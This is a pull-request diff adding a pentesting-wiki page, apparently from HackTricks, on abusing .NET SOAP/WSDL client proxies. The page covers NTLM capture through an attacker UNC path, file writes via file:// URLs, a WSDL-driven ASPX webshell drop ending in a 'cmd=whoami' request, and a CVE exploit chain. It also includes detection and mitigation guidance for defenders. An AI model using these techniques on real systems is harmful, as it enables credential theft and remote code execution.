Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -439,6 +439,7 @@
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
- [Django](network-services-pentesting/pentesting-web/django.md)
- [Dotnet Soap Wsdl Client Exploitation](network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md)
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
Expand Down
3 changes: 2 additions & 1 deletion src/network-services-pentesting/pentesting-web/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**Artifactory**](artifactory-hacking-guide.md)
- [**Buckets**](buckets/index.html)
- [**CGI**](cgi.md)
- [**Dotnet SOAP WSDL client exploitation**](dotnet-soap-wsdl-client-exploitation.md)
- [**Drupal**](drupal/index.html)
- [**Flask**](flask.md)
- [**Fortinet FortiWeb**](fortinet-fortiweb.md)
Expand Down Expand Up @@ -435,4 +436,4 @@ Entry_12:

</details>

{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
# .NET SOAP/WSDL Client Proxy Abuse

{{#include ../../banners/hacktricks-training.md}}

## TL;DR

- `SoapHttpClientProtocol`, `DiscoveryClientProtocol` and friends inherit from `HttpWebClientProtocol`, whose `GetWebRequest()` returns the scheme-agnostic `WebRequest` instance produced by `WebRequest.Create()` without enforcing `HttpWebRequest`.
- If an attacker controls the proxy `Url`, the framework silently swaps in `FileWebRequest`, `FtpWebRequest` or UNC/SMB handlers, turning "HTTP" proxies into NTLM leak gadgets or arbitrary file writers.
- Any feature that imports attacker-supplied WSDL with `ServiceDescriptionImporter` compounds the bug: the WSDL controls the generated proxy constructor, SOAP methods, complex types and namespaces, enabling pre-auth RCE (webshells, script drops) in products such as Barracuda Service Center RMM, Ivanti EPM, Umbraco 8, PowerShell and SSIS.

## Root cause: HttpWebClientProtocol is scheme-agnostic

`WebClientProtocol.GetWebRequest()` does `var req = WebRequest.Create(uri)` and returns it untouched. `HttpWebClientProtocol.GetWebRequest()` tries `req as HttpWebRequest` to set HTTP-only fields, but it **still returns the original `req`** even when the cast fails. Therefore the runtime obeys whatever scheme is present in `Url`:

- `http(s)://` → `HttpWebRequest`
- `file:///` or `\\host\share\` → `FileWebRequest`
- `ftp://` → `FtpWebRequest`

`SoapHttpClientProtocol.Invoke()` then streams the SOAP POST body through whatever transport handler was selected, even if that means writing to disk or over SMB.

## Primitive 1 – NTLM capture / relay via UNC targets

1. Gain control over `SoapHttpClientProtocol.Url` (direct setter, config value, database row, etc.).
2. Point it to a UNC path like `file://attacker.local/sink/payload`.
3. The CLR opens the path via SMB and performs integrated authentication, leaking NTLM challenge/response to the attacker.
4. Use captured hashes for offline cracking or NTLM relay (SMB/HTTP) if signing/EPA are absent.

This applies to **any** .NET SOAP/HTTP proxy path that accepts user input, even if no further exploitation is possible.

## Primitive 2 – Arbitrary file writes via `file://`

1. Set `Url = "file:///inetpub/wwwroot/poc.aspx"` (or any writable path) before the proxy call.
2. Invoke any SOAP method; the framework writes the entire SOAP envelope to the chosen path, overwriting existing files.
3. User-controlled arguments appear inside XML elements, letting attackers drop CSHTML/ASPX payloads or poison config files.

Limitations:

- Content is always XML; scalar fields are entity-encoded, so injecting `<script>` via plain strings requires additional tricks.
- Meaningful payloads need at least one attacker-influenced argument or the ability to modify the method signature (see WSDL abuse).

Runtime often throws `Client found response content type of 'application/octet-stream', but expected 'text/xml'` after the write—treat this error as an IOC.

## Weaponizing WSDL imports

### Auto-generated proxies via `ServiceDescriptionImporter`

Many products expose "custom web service" features that accept a WSDL URL, then:

1. `ServiceDescription.Read()` the attacker-controlled WSDL.
2. `ServiceDescriptionImporter` generates C# proxy classes extending `SoapHttpClientProtocol`.
3. CodeDOM compiles the proxy and reflection calls the requested method.

The attacker fully controls:

- `soap:address` / `soap12:address` `location` → becomes `base.Url` (can set `file://` or UNC paths).
- Method names, parameter lists, complex types and serializers.
- Namespace URIs that end up as `xmlns:*` attributes in every SOAP message.

No scheme validation occurs, so every generated proxy inherits the original design flaw.

### Shaping the SOAP envelope for RCE

- **Complex type serialization**: Define custom structs in the WSDL so that when `XmlSerializer` re-emits them, they produce attacker-chosen element names/attributes. For ASPX webshell drops, craft types that serialize to:
```xml
<script runat="server">
// payload pulling `Request.QueryString["cmd"]`
</script>
```
and point `Url` to `file:///.../webroot/shell.aspx` to gain RCE.
- **Namespace injection**: Even when arguments are hard-coded (e.g., Umbraco Forms), namespaces declared in the WSDL (e.g., `xmlns:tns="http://host/service?x=@{...}"`) are copied verbatim into the SOAP envelope. Encoding payloads inside the namespace query string enables CSHTML Razor or PowerShell script drops without parameter control.

These techniques powered the Barracuda Service Center RMM (CVE-2025-34392) exploit: an unauthenticated SOAP call supplied a malicious WSDL, set `soap12:address` to `file:///Program Files/.../SCMessaging/poc.aspx`, injected `<script runat="server">` via complex parameters, and uploaded a webshell that executed arbitrary `cmd.exe` commands.

## Typical attack workflow

1. Identify functionality that accepts a WSDL URL or otherwise lets users configure SOAP endpoints (e.g., Barracuda `InvokeRemoteMethod`, Ivanti EPM connectors, Umbraco 8 Forms datasources, PowerShell `New-WebServiceProxy`).
2. Host a malicious WSDL whose `soap:address` points to a writable path or UNC share and whose schema definitions provide payload-friendly methods/types.
3. Trigger the import/compilation. The target emits a proxy DLL with attacker-controlled constructor and methods.
4. When the application invokes the generated method, the SOAP request is serialized and written to the attacker-specified path, embedding the payload.
5. Execute the dropped file (browse to `poc.aspx?cmd=whoami`, load the CSHTML, or let PowerShell run the script) or replay captured NTLM material.

## Detection & hunting

- **Static analysis**: Grep for `ServiceDescriptionImporter`, `SoapHttpClientProtocol`, `HttpWebClientProtocol`, or `New-WebServiceProxy`. Trace how `Url` or WSDL inputs are sourced—anything user-controlled is a red flag.
- **Runtime telemetry**:
- Instrument proxy creation to log schemes; alert on `file`, `ftp`, or UNC values.
- Monitor for the characteristic "Client found response content type of 'application/octet-stream'" errors after SOAP calls.
- Watch for unexpected `.aspx/.cshtml/.ps1` writes under application directories performed by the web service identity.
- **Network/file signals**: SMB connections initiated by web servers to attacker infrastructure, or sudden compilation of temporary proxy DLLs, often precede exploitation.

## Mitigations

- **Enforce transport validation** before invoking any `HttpWebClientProtocol`-derived proxy:
```csharp
var uri = new Uri(proxy.Url);
if (uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps)
throw new InvalidOperationException("SOAP clients must stay on HTTP/S");
```
- **Sanitize imported WSDL**: Proxy downloads through a broker that rewrites or rejects `soap:address` entries that are not HTTP/S, drops unknown bindings, and forbids namespace payload tricks.
- **Disable untrusted WSDL features**: Replace "upload a WSDL" conveniences with vetted, server-side templates or allowlists.
- **Segregate write locations**: Ensure app pools cannot write into executable directories; use separate volumes for data vs. code so that file-write primitives do not become RCE.
- **Harden NTLM exposure**: Disable outbound SMB where possible; otherwise enforce SMB signing, EPA and other relay mitigations.

## References

- [watchTowr Labs – SOAPwn: Pwning .NET Framework Applications Through HTTP Client Proxies and WSDL](https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/)

{{#include ../../banners/hacktricks-training.md}}